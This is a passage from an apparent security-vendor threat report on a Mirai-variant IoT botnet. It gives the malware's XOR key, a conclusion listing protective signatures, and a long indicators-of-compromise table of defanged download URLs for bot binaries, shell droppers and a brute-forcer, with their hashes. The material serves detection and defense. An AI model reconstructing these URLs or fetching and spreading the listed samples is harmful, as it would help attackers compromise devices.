brute-forcing SSH connections using some hard-coded credentials in the binary. The key used for the standard Mirai byte-wise XOR encryption routine is 0xbaadf00d. | ## Conclusion The IoT realm remains an easily accessible target for attackers. Many vulnerabilities are very easy to exploit and could, in some cases, have catastrophic consequences. We strongly advise customers to apply patches whenever possible. Palo Alto Networks customers are protected from the aforementioned vulnerabilities by the following products and services: - Next-Generation Firewalls with the Threat Prevention security subscription can block the attacks with best practices via threat prevention signatures 90776, 90553, 55228, 57842, 59191, 90302, 90808, 90824, and 90555. - WildFire can stop the malware with static signature detections. - URL Filtering blocks malicious malware domains. - AutoFocus users can track exploit activity using the tags VisualDoor, CVE-2020-25506, CVE-2021-27562, CVE-2021-25502, and CVE-2020-26919. ## Indicators of Compromise ### Samples | First Seen | URL | SHA256 | |------------|-----|--------| | Mar 13, 2021 02:43 UTC | 203[.]159.80.241/bins/dark.arm5 | 60135a7817a0a1734c2e211a8613873548f4611fddc8666890f6a69860c43e61 | | Mar 13, 2021 02:43 UTC | 203[.]159.80.241/bins/dark.arm6 | 087fc3206ddb94e80118e7e7f0215c88409a0071b657d21071e15b7917f7cc4e | | Mar 13, 2021 02:43 UTC | 203[.]159.80.241/bins/dark.arm7 | 33f75999a3b4c354b6281399e541b97fd6463c5cd2ab13a538522d72a8870f30 | | Mar 13, 2021 02:43 UTC | 203[.]159.80.241/bins/dark.m68k | 02d48570f1089e2e7f4f9256bb033136c773834af31054e477e094e48cba110e | | Mar 13, 2021 02:43 UTC | 203[.]159.80.241/bins/dark.mips | 45ff08b1de872379f965d423a0f4e1f2e82f0ea8d101220b83d3aed3b2e7f1c9 | | Mar 13, 2021 02:43 UTC | 203[.]159.80.241/bins/dark.mpsl | 85acead88180809d47524aac87d6f76799e7c0a1729d9614446be73aa8e7d871 | | Mar 13, 2021 02:43 UTC | 203[.]159.80.241/bins/dark.ppc | 0bbdb062ecfae7e1b59084a5e5fe052908ecfdea7db0777a9c318e9e55fdb5ff | | Mar 13, 2021 02:43 UTC | 203[.]159.80.241/bins/dark.sh4 | 77a1f62dc76cc9ee2d924008a0fdcc329396021f027ebe1cfa468f9625c2455b | | Mar 13, 2021 02:43 UTC | 203[.]159.80.241/bins/dark.x86 | 8d11635019b077d36ce7de2a3ca9261f126e0ff5808f722fcb967e7cd000be23 | | Mar 11, 2021 19:22 UTC | 203[.]159.80.241/bins/dark.arm7 | 519b2d04e80c2cb7c000a3c00cb30098df363bd825281b2b7384d964b832df3b | | Mar 11, 2021 19:22 UTC | 203[.]159.80.241/bins/dark.arm6 | 7a571f666c8f272cce1ee7ad75520a013bbed800e7d0c80a17804500a3474a13 | | Mar 11, 2021 19:22 UTC | 203[.]159.80.241/bins/dark.arm5 | 5d7487a5d6febb015a21a98eddffc617cfc06453fe2a7dacac6e1719f56c56fb | | Mar 11, 2021 19:22 UTC | 203[.]159.80.241/bins/dark.mpsl | e9d056afe12210ddf98967e3291127ef9d0d24cbd36862ebc8b0726a565eefb8 | | Mar 11, 2021 19:22 UTC | 203[.]159.80.241/bins/dark.mips | 73aaf3ce3e5ea7a598f01d727e8278ff64ff0067fc2f2b22387b09de64c2ff4f | | Mar 11, 2021 19:22 UTC | 203[.]159.80.241/bins/dark.x86 | 64f9bc6e925fd2f538c89fd8a8c25d11521b9fcc51c8c5308e9850c990bea04b | | Mar 11, 2021 12:59 UTC | 203[.]159.80.241/bins/dark.ppc | 0c4ec06f32d5f15846239d224d68086cbeaf513b63f0fcafa4eddd8e18a3d372 | | Mar 11, 2021 12:30 UTC | 203[.]159.80.241/bins/dark.sh4 | 2f590f5af68dd30cdd51de85cb55dd16160ffce16dd326b2ac4c85e0007fca51 | | Mar 11, 2021 12:30 UTC | 203[.]159.80.241/bins/dark.m68k | cd59b912b9af910db1880d6fb86cd6cb656477552cf2c2fc82e372bafbe004b8 | | Mar 5, 2021 14:13 UTC | 45[.]133.1.133/bins/dark.ppc | 63e66d6f0ddf5fea5b1f71643bdb30f3fff4531c364b6fd1b0e0e0cfe5da833f | | Mar 4, 2021 10:19 UTC | 45[.]133.1.133/bins/dark.m68k | 0a664a74fcc00910170edcd5f548569b40c2c5d58fc5ced1f475dbe938684e17 | | Mar 4, 2021 10:19 UTC | 45[.]133.1.133/bins/dark.mips | 05102e5abb23c761426c2c0f19f70f650938ea9e9295ccbb92349513c1d26c63 | | Mar 4, 2021 10:19 UTC | 45[.]133.1.133/bins/dark.mpsl | cc996d19c3e9b732b5f61fb7a2ad20a4f9e1fd7e62f484f15c7cc984a32dec01 | | Mar 4, 2021 10:19 UTC | 45[.]133.1.133/bins/dark.sh4 | f05225fec1fda7c6405e6961207ee12e198272d352144f516e970829a74093e2 | | Mar 4, 2021 10:19 UTC | 45[.]133.1.133/bins/dark.x86 | 9aa0ded21b8c21075a6ad24180befc47dbfeb3985a433f1baa6181ec945a19b9 | | Mar 3, 2021 14:24 UTC | 45[.]133.1.133/lolol.sh | ecae298b18493bf2366f6081e8215a474cce4554e07a7b2380a7f8e8a3a9a37d | | Mar 3, 2021 14:24 UTC | 45[.]133.1.133/bins/dark.arm5 | fb940b1049e0e95c03adb7a2750347108cadf6b19ef4149a5103f7625c07c8ec | | Mar 3, 2021 14:24 UTC | 45[.]133.1.133/bins/dark.arm6 | 515dc2fd8819c7fc82395acc4c7fb5b2903982a5f48bc26bc8d0235bc0664d1f | | Mar 3, 2021 14:24 UTC | 45[.]133.1.133/bins/dark.arm7 | a9c4ea40b08ce4281c2dc9776355186dfc5649f9ec2b36c32fa5540f8d2aef2d | | Mar 3, 2021 14:24 UTC | 45[.]133.1.133/bins/dark.m68k | ac75cb71c2f052141a238b8f7215d5a0956f7034cf90f231d228ce58254d23ba | | Mar 3, 2021 14:24 UTC | 45[.]133.1.133/bins/dark.mips | 1e56f8ca44f84eff212805fa061ecb0f6fb8bc9499ff2e541ad3c43fb2f4420a | | Mar 3, 2021 14:24 UTC | 45[.]133.1.133/bins/dark.mpsl | 1d9496814d35d9e302d7e99339e9730fc81c022bc085c0711b73ebad962cbc2b | | Mar 3, 2021 14:24 UTC | 45[.]133.1.133/bins/dark.ppc | 971b5a96d84ca0d7dd906b639cd97a04835013be32356d09037cff64516c73bf | | Mar 3, 2021 14:24 UTC | 45[.]133.1.133/bins/dark.sh4 | e2a6ac516ec8b5dcc76becc26cf992434882d490d8f2c9d7071298dba7a641a2 | | Mar 3, 2021 14:24 UTC | 45[.]133.1.133/bins/dark.x86 | a5ca43106a713c4a8e978575b8685889c244501288b9fa7c7dc7f1e8c5ef1291 | | Feb 26, 2021 13:14 UTC | iotlmao[.]xyz/bins/dark.m68k | a6cb6356432ca83467f6da2168be2aabbabe5d2f2dd4c01d6c4a93d01a57df53 | | Feb 26, 2021 13:14 UTC | iotlmao[.]xyz/bins/dark.sh4 | c686712f9be64e3d2957754ce181e5b4680b205cb6773b85b35df57983ed31cf | | Feb 24, 2021 15:59 UTC | 185[.]239.242.63/bins/dark.arm5 | 8cc6375f2eabe865e8400f27381a513a69e4100748458c3d2c706f3d4002bf1e | | Feb 24, 2021 15:59 UTC | 185[.]239.242.63/bins/dark.arm6 | 4414bf4f41663a6458372bcc4743d6e50bbb2d40c26d71bcb945926c98cd5537 | | Feb 24, 2021 15:59 UTC | 185[.]239.242.63/bins/dark.arm7 | 8d0beb4b143dc4a9543b4bc5d7f44a6771a973709aaf8c3a4754d120b99d0afd | | Feb 24, 2021 15:59 UTC | 185[.]239.242.63/bins/dark.m68k | f9770197d2254e6d5d4cb872b07dc25feb2994d4d5f0b3c854a98f9dfa3c6854 | | Feb 24, 2021 15:59 UTC | 185[.]239.242.63/bins/dark.mips | 74ab77e1069c6fb32925e89563c57f09c842cad0de6ab6b7c9ec2fa44d2641b1 | | Feb 24, 2021 15:59 UTC | 185[.]239.242.63/bins/dark.mpsl | 0039231b2fd5e5a3d86ae3b626d35b8fed7f2887a58e32b480ac82cd82150f7c | | Feb 24, 2021 15:59 UTC | 185[.]239.242.63/bins/dark.ppc | 9d55aa1d9841be74cdc0c9d0a9fe2f20e0704ea30c721a7b2dcae02675416629 | | Feb 24, 2021 15:59 UTC | 185[.]239.242.63/bins/dark.sh4 | 7aa437a562f3a956cf60fce652e6a0fb2d3c7cda0e5312c1a7fa62e177c45906 | | Feb 24, 2021 15:59 UTC | 185[.]239.242.63/bins/dark.x86 | 8e65d7b16939834e1cd86b36b495924d34f10a8c477b53c9c8e648c804b97c2d | | Feb 24, 2021 15:59 UTC | 185[.]239.242.63/lolol.sh | 5715d9c632c646c856f2775de8e98c00cade29f7bfb6fbe33a5741b01e897521 | | Feb 23, 2021 09:03 UTC | 185[.]239.242.63/bins/dark.arm | 5525b282df49206e76e884ca0f86806ddc97ec08343bab1d9a98f029a2697b08 | | Feb 23, 2021 09:03 UTC | 185[.]239.242.63/bins/dark.arm5 | b82b8957a4397eae1061a74fb7a8014cbbcbe7064d4edf2e0b15233fd2ce8cca | | Feb 23, 2021 09:03 UTC | 185[.]239.242.63/bins/dark.arm6 | ec9dc19758ba74fb254c69d2b60ae1012b1bd65390e936990e4bd8573bcb83aa | | Feb 23, 2021 09:03 UTC | 185[.]239.242.63/bins/dark.arm7 | 38d8f2d17b3b676f5258a28b6b4093a1c3cdfa0d34d97c80d86686a3cff7ed55 | | Feb 23, 2021 09:03 UTC | 185[.]239.242.63/bins/dark.m68k | b066b1c1d019fc97e3649b99ad10294783b13a12b67d34b9c8500e762c37b7e7 | | Feb 23, 2021 09:03 UTC | 185[.]239.242.63/bins/dark.mips | 904b086dbf3e8f4dd1711d758d54675ce2d6002ff607a72d72d7e3aea612ba7d | | Feb 23, 2021 09:03 UTC | 185[.]239.242.63/bins/dark.mpsl | 4f6a9d2c775e0ba38189390aa7975973209f8e703d6f974c2ab67c97ad263204 | | Feb 23, 2021 09:03 UTC | 185[.]239.242.63/bins/dark.ppc | c26401490ab9343b023f1f89b39d8d32835a795117ef7d7a129871bc05010dd6 | | Feb 23, 2021 09:03 UTC | 185[.]239.242.63/bins/dark.sh4 | 73b35ddbf9784a6f6ebad7f5a1f4965daedc2f92cbb45a9cb76e61c0104bf553 | | Feb 23, 2021 09:03 UTC | 185[.]239.242.63/bins/dark.x86 | a925f0486b33f3f05d610d33c5a4b6bb2d5531c89e804e001ec01c4f5c25975e | | Feb 23, 2021 09:03 UTC | 185[.]239.242.63/lolol.sh | 4fe20e73217d0bde39616ebf6f50f0f27882f939537561849f7b17968c5b8e30 | | Feb 22, 2021 16:30 UTC | 37[.]46.150.102/bins/dark.mpsl | 6b1bea5f17eb2c16815b8cb87d6e24e707248e5384fc4dd33c86c189657c73ff | | Feb 22, 2021 16:30 UTC | 37[.]46.150.102/bins/dark.ppc | 918395bac079ab747736246b9d84e66921774d3eb95bb47045704624646b1287 | | Feb 22, 2021 16:30 UTC | 37[.]46.150.102/bins/dark.sh4 | 528179f34ed9a6e69f582c23b3cbb50343164bf0e5995624a8d16f8b0df202e8 | | Feb 22, 2021 16:30 UTC | 37[.]46.150.102/bins/dark.x86 | f05d21a5b4b72a761c1540f1400dff7e39f10ac1c8b843ec8986d2e780a7807a | | Feb 22, 2021 16:30 UTC | 37[.]46.150.102/lolol.sh | b3a20c8dfa5adaa8247c4d2097f3cc8423b4e270c9735f616628bf9bde583cbe | | Feb 22, 2021 12:32 UTC | 185[.]239.242.63/bins/dark.arm5 | 2102b6a9f4b6745b0963ac3040945fb351c3d7df5b8e75dbc4ebf587c921998f | | Feb 22, 2021 12:32 UTC | 185[.]239.242.63/bins/dark.arm6 | bfd14a2f5c26501efb5d4010839b7d0bbc9a639d86ab5d12af663de598f15427 | | Feb 22, 2021 12:32 UTC | 185[.]239.242.63/bins/dark.arm7 | d9f7504b3fe81f5264da5f23bdb7529f6d1dd713e28a92828180787729872a8d | | Feb 22, 2021 12:32 UTC | 185[.]239.242.63/bins/dark.m68k | 40808fb06796aeb740368b9bc322c12193d1bebb8e5eeddc420a98db6ac82689 | | Feb 22, 2021 12:32 UTC | 185[.]239.242.63/bins/dark.mips | 3c47dceb9b8fbb0d40c3f1efa8ebc8d7dcf82aa0af46c4486ec3fc8ca29a83b2 | | Feb 22, 2021 12:32 UTC | 185[.]239.242.63/bins/dark.mpsl | d31f1fecde01cc37950dc5b5330cd72e8ab1943f251bdfa5990f0d9d3a0a8e8f | | Feb 22, 2021 12:32 UTC | 185[.]239.242.63/bins/dark.ppc | 5446350c771766589e6d79e8185e10fcc0a6681eb76723b7f26dfef03c9080a5 | | Feb 22, 2021 12:32 UTC | 185[.]239.242.63/bins/dark.sh4 | 02f08ccc4a4136c89276135664267e08f1bb6795842a84c06c15478d3c3101e6 | | Feb 22, 2021 12:32 UTC | 185[.]239.242.63/bins/dark.x86 | f467e6335a4a0250a17d61b3d138b31998f3e6669e1fcd1c3648db1b44b55ffa | | Feb 22, 2021 12:32 UTC | 185[.]239.242.63/lolol.sh | 4fe20e73217d0bde39616ebf6f50f0f27882f939537561849f7b17968c5b8e30 | | Feb 22, 2021 16:30 UTC | 37[.]46.150.102/brute/combo.txt | 6a68acd757fab908b2455c9b5882c25ab4a550121c2badb960b0a514a04a8d3d | | Feb 22, 2021 16:30 UTC | 37[.]46.150.102/brute/nbrute.386 | baedd59eba62c289dcb722588895eb165f4a1570b3c012efc3dcc60d3bdea521 | | Feb 22, 2021 16:30 UTC | 37[.]46.150.102/brute/nbrute.amd64 | 8524826a687491c6bfd161df3e4fb2f537f50ea32834d7710dcf3b788a5ddfc2 | | Feb 22, 2021 16:30 UTC | 37[.]46.150.102/brute/nbrute.arm | 4f69555ab71b49c2c1067f0907eb73b185327b57c566a8311ba9f9e58f4e85a5 | | Feb 22, 2021 16:30 UTC | 37[.]46.150.102/brute/nbrute.mips | a5c2b758da21d7895c7945de8684c9b27370af6c5bf48ce3d94626261982659f | | Feb 22, 2021 16:30 UTC | 37[.]46.150.102/brute/nbrute.mipsle | b37da8e6afa2b3223b1f8f73e6801cf3fed3c0f114cfb9c134b5f06322a337ca | | Feb 22, 2021 16:30 UTC | 37[.]46.150.102/bins/dark.arm5 | a447bb67be310702807ff148f53f2b4c64ddba0c37f92caf6acabdfaa9ad6603 | | Feb 22, 2021 16:30 UTC | 37[.]46.150.102/bins/dark.arm6 | b2122c5a9c738d964fa770760db40d6708de377e2e671feccb836054ceda2f47 | | Feb 22, 2021 16:30 UTC | 37[.]46.150.102/bins/dark.arm7 | 80cd13bfcc2fc29096abf18525d17766700a6d25a9806e55c7b7de776cba0302 | | Feb 22, 2021 16:30 UTC | 37[.]46.150.102/bins/dark.m68k | 66ea76a427b69f153486f962baff29d4a68393e985c7d88c94d773b25ad4964a | | Feb 22, 2021 16:30 UTC | 37[.]46.150.102/bins/dark.mips | def1959fae2d8a3dfe606126ceb9d5403deae97a4b4e216dc8e60354980eeac4 | | Feb 22, 2021 16:30 UTC | 37[.]46.150.102/bins/dark.mpsl | 667640d293e4ce2287546fc2e0056ee14f414868bf5b77f72078096c516a9fb0 | | Feb 22, 2021 16:30 UTC | 37[.]46.150.102/bins/dark.ppc | beb0b7178b242f2dba21c3d91abf80e8738847b8086d2a42e9352738c83542b5 | | Feb 22, 2021 16:30 UTC | 37[.]46.150.102/bins/dark.sh4 | 554bee9f896a7a013804485894875348ff760b08ff7b0ae14c210e2b37da75f6 | | Feb 22, 2021 16:30 UTC | 37[.]46.150.102/bins/dark.x86 | 2a09719254934fe8ee8f200a0a7537d35a293fe1f8d0e396e23374e9b209f273 |